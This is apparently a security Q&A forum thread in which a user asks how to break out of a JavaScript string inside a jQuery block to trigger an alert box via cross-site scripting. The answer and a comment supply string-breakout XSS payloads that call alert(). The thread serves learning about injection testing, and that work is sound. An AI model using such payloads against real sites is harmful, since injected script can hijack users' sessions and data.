For example we have this:

<script type="text/javascript" charset="utf-8">
    $(function () {
        var stranica = "#aXSSinjection point";
        var stranicaContainers = $('div.stabs > div');
        $('div.stabs ul.stranicaNavigation a').click(function () {
            $('div.stabs ul.stranicaNavigation a').removeClass('selectedstranica');
            return false;

This page is just an example, got it from pastebin. So now how can I show alert box without using </script>. I always try to close that function and then add alert(0) and then ignore the rest of js with //, but sometimes it works sometimes it doesn't.

1 Answer 1


Some obvious things to try are:

blah"; alert('xss'); "blah


blah"; }); alert('xss'); $(function () { var stranica = "moreblah

This question is probably too narrow for this site.

  • Thanks for answering ,it seems that sometimes repairing broken function works and sometimes not. Thanks you gave me an idea.
    – Daniel
    Oct 31, 2012 at 12:05
  • 5
    My favorite payload: "+alert(/xss/)+"
    – pgolen
    Oct 31, 2012 at 12:34

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.